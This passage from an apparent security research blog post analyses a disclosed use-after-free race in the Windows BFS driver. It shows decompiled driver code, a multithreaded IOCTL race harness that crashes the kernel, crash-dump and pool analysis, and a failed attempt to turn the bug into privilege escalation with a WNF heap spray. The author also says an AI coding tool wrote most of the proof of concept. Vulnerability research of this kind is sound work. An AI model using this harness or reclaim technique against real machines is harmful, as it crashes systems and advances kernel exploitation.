When two threads insert the same name, RtlInsertElementGenericTableAvl returns the existing entry for duplicates. In the Agentic branch, BfsInsertDirectory publishes entry + 8 but does not increment the refcount if NewElement == FALSE:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int BfsInsertDirectory(ulonglong *pChildTableLock, BFS_UNICODE_STRING *pName,
BFS_DIR_ENTRY_VIEW **ppDirectory, bool *pNewElement)
{
...
pInsertedEntryBase = RtlInsertElementGenericTableAvl(
(PRTL_AVL_TABLE)(pChildTableLock + 1),
&pTempEntryName,
0xa0,
pNewElement);
*ppDirectory = (BFS_DIR_ENTRY_VIEW *)((longlong)pInsertedEntryBase + 8);
featureEnabled = Feature_AgenticAppContainerBfsSupport__private_IsEnabledDeviceUsageNoInline();
if ((int)featureEnabled == 0) {
isDuplicateWithoutCallerRef = pNewElement == (bool *)0x0;
}
else {
isDuplicateWithoutCallerRef = (*pNewElement == false;)
}
if (isDuplicateWithoutCallerRef) { // This is where the AppContainer path enters.
ExFreePoolWithTag(pTempEntryName->pBuffer, 0);
ExFreePoolWithTag(pTempEntryName, 0);
BfsDereferenceTableEntry((BFS_DIR_CACHE_ENTRY *)(pChildTableLock + -4));
}
else {
LOCK();
*(int *)((longlong)pInsertedEntryBase + 0x98) =
*(int *)((longlong)pInsertedEntryBase + 0x98) + 1;
UNLOCK();
}
...
}
That is why the PoC synchronizes many workers on the same ntPath for each round. It creates 128 workers, each with its own handle to \Device\Bfs, and uses a semaphore to release them at the same time:
1
2
3
4
5
6
7
8
9
10
11
12
13
static constexpr int kRounds = 2000;
static constexpr int kThreads = 128;
struct RaceState {
HANDLE token = nullptr;
HANDLE startSemaphore = nullptr;
HANDLE doneEvent = nullptr;
const vector<wstring>* ntPaths = nullptr;
atomic<int> currentRound{ 0 };
atomic<int> remaining{ 0 };
atomic<bool> stop{ false };
atomic<NTSTATUS> firstFailure{ 0 };
};
Each worker waits for its semaphore pass, reads the current round, and sends exactly one IOCTL against that round’s path:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static void WorkerMain(RaceState* state, HANDLE device, WorkerStats* stats) {
while (true) {
DWORD wait = WaitForSingleObject(state->startSemaphore, INFINITE);
if (wait != WAIT_OBJECT_0) {
stats->failure++;
return;
}
if (state->stop.load()) {
return;
}
int round = state->currentRound.load();
NTSTATUS st = SendSetPolicy(device, state->token,
(*state->ntPaths)[round]);
if (NT_SUCCESS(st)) {
stats->success++;
}
else {
stats->failure++;
RecordFirstFailure(&state->firstFailure, st);
}
if (state->remaining.fetch_sub(1) == 1) {
SetEvent(state->doneEvent);
}
}
}
The main thread changes the round, initializes remaining, releases kThreads passes, and waits for the last worker to complete:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static bool RunRace(RaceState* state, vector<WorkerStats>* stats) {
for (int round = 0; round < kRounds; ++round) {
ResetEvent(state->doneEvent);
state->remaining.store(kThreads);
state->currentRound.store(round);
if (!ReleaseSemaphore(state->startSemaphore, kThreads, nullptr)) {
printf("[-] ReleaseSemaphore failed: %lu\n", GetLastError());
return false;
}
DWORD wait = WaitForSingleObject(state->doneEvent, INFINITE);
if (wait != WAIT_OBJECT_0) {
printf("[-] WaitForSingleObject(doneEvent) failed: %lu\n",
GetLastError());
return false;
}
if ((round % 25) == 0) {
long success = 0;
long failure = 0;
SumStats(*stats, &success, &failure);
printf("round=%d ok=%ld fail=%ld firstFail=0x%08x\n", round,
success, failure, state->firstFailure.load());
}
}
return true;
}
In terms of flow, each round creates this situation:
1
2
3
4
5
128 workers
same Agentic token
same IOCTL 0x228004
same path \??\C:\BfsRace\rN\a\b\c\d
same BfsLocateDirectory -> BfsInsertDirectory window
If several workers converge on the same component before the AVL is warm, some of them will enter the duplicate path in BfsInsertDirectory. That is the condition we need to consume references that were never taken.
PoC Execution Result
After accidentally double clicking the compiled PoC while trying to move it to a VM and crashing my own machine (at least I knew it worked), I ran it in the virtual machine. It crashed there just as it had on my PC.
The !analyze -v summary was:
1
2
3
4
5
6
SYSTEM_SERVICE_EXCEPTION (3b)
Arg1: 00000000c0000005
Arg2: fffff803e00025d3
Failure.Bucket: AV_bfs!BfsInsertDirectoryEntry
FAULTING_THREAD: ffffc10891e70080
The stack lands exactly on the path we were trying to stress:
1
2
3
4
5
6
7
nt!RtlFindClearBits+0xb3
bfs!BfsInsertDirectoryEntry+0xde
bfs!BfsAddOrModifyEntry+0x12c
bfs!BfsProcessSetPolicyRequest+0x5e3
bfs!BfsDeviceIoControl+0x136
nt!NtDeviceIoControlFile
PoC!SendSetPolicy
Before the bugcheck, the breakpoints I prepared showed that several threads received the same entry + 8 without BfsInsertDirectory taking a new reference. For the object that eventually crashed, the following sequence was observed:
1
2
DUP elem=ffff818f0411eb40 ref=1 ret=ffff818f0411eb48
DEREF elem=ffff818f0411eb40 oldref=1
oldref=1 means that this BfsDereferenceTableEntry brought the refcount down to zero and freed the entry. Later, the thread that crashed entered BfsInsertDirectoryEntry with:
1
param_1 = ffff818f0411eb48
That value is exactly ffff818f0411eb40 + 8, meaning the pointer returned to the caller for the same entry that had already been freed. !pool confirms the allocation state:
1
2
3
kd> !pool ffff818f0411eb40
Pool page ffff818f0411eb40 region is Paged pool
*ffff818f0411eb10 size: d0 previous size: 0 (Free) *Bfse
The faulting point also matches the Ghidra code. BfsInsertDirectoryEntry uses pDirectory as a valid BFS structure, pulls the directory block list from it, and builds the bitmap that eventually reaches RtlFindClearBits:
1
2
3
4
5
6
7
8
9
pDirectoryBlock = (byte *)(*(longlong **)pDirectory->pDirectoryBlockList)[2];
pBlockListNode = *(longlong **)pDirectory->pDirectoryBlockList;
// This specific crash happens in this call.
RtlInitializeBitMap(&freeEntryBitmap,
(PULONG)(pDirectoryBlock + 0x3e60),
0x1e);
freeEntryIndex = RtlFindClearBits(&freeEntryBitmap, 1, 0);
Therefore, the crash demonstrates the bug quite directly: an entry + 8 pointer originating from an already freed Bfse allocation is used again by BfsInsertDirectoryEntry. This proves the UAF is real and causes a DoS.
It is worth noting that the error causing the bugcheck (0x3b in this run) can change. Since we are sending a large number of threads to trigger the bug, the fault may happen somewhere else instead of RtlInitializeBitMap. Regardless of the exact reported fault, the root cause is the same refcounting problem in BfsInsertDirectory.
You can find the full PoC submitted with the report on my GitHub. A warning to readers: the code is fairly ugly. When I found the bug, I had little practical experience writing exploits for race conditions, so I convinced Codex to build most of the PoC.
The Exploit
After submitting the report, I spent some time learning about exploiting race conditions and expanding my knowledge about exploit development in general (part of that work here). I then tried to turn this UAF into a local privilege escalation exploit.
Refcount tracing showed that the practical trigger required at least four synchronized IOCTL workers. Four outstanding references had to be consumed so the object would be freed while one of the threads continued using its stale entry + 8 pointer. On my physical laptop, four synchronized workers produced the crash every time. The same setup was far less reliable in a VM: it required more threads, and even then the crash remained unreliable.
That created an awkward debugging problem. I tried to use a second physical machine as a kernel debugging target, but neither of its network adapters supported KDNET, and the alternative required a hardware debugging cable I did not have. I therefore debugged it the crude way: crash the target, reboot it, recover the dump, adjust the PoC, and repeat. (painful, I would not recommend it)
The freed object was a paged pool Bfse allocation in the 0xd0 size class. My plan was to trigger the UAF and reclaim that chunk with a WNF_STATE_DATA allocation containing controlled data.
By tuning the worker count and spray delay, I occasionally managed to reclaim the chunk, but the result was never deterministic. Roughly half of the attempts crashed before a WNF allocation could replace the freed chunk. Of the remaining dumps, only a minority clearly showed BFS consuming my controlled WNF data. Most failures occurred because BFS operated on the corrupted remnants of the freed Bfse: the object no longer existed, so one of its stale fields led execution into invalid memory.
The clearest evidence came from a successful reclaim that crashed in BfsFindEntry after BFS treated bytes from my cyclic WNF payload as an internal pointer:
1
2
3
bfs!BfsFindEntry+0x23:
fffff806`5035185b 488b30 mov rsi,qword ptr [rax]
ds:002b:35624134`62413362=????????????????
Another common outcome was a crash in BfsInsertDirectoryEntry or RtlFindClearBits. The 0xd0 pool was also crowded, so WNF allocations frequently occupied unrelated holes instead of the target chunk.
Reclaiming the chunk was only the first barrier. BFS does not use the stale object as a flat buffer; it immediately interprets it as a complete directory structure. The replacement must survive a pushlock acquisition and provide coherent pStorage, pDirectoryBlockList, directory block, and bitmap state.
This left me with an occasional controlled reclaim, but not a useful or repeatable exploitation primitive. Coordinating the four workers that consumed references with independent sprayers provided no precise signal between the final dereference and the stale use. Even a replacement with another valid Bfse would most naturally produce a crash due to metadata confusion.
At that point I considered reliable exploitation impractical and stopped pursuing it. Every iteration required crashing and rebooting the physical target, recovering the dump, and adjusting the timing, while most runs either crashed before the reclaim or died from uncontrolled stale state. In the small fraction of runs that consumed WNF data, the replacement still had to satisfy all of the internal BFS structure constraints above.
Finally, the vulnerability can be triggered from a process running at Medium Integrity Level without elevation in the tested configuration. The same path was not reachable from Low Integrity: it could neither create the required AppContainer profile nor open \Device\Bfs. Microsoft ultimately classified the vulnerability as Exploitation Less Likely.
PD: if you have any tips for working in race conditions in a way that the VM behaves as similar to bare metal as possible, I’d love to hear them :)
That’s all for now. Hope you found this useful! And remember,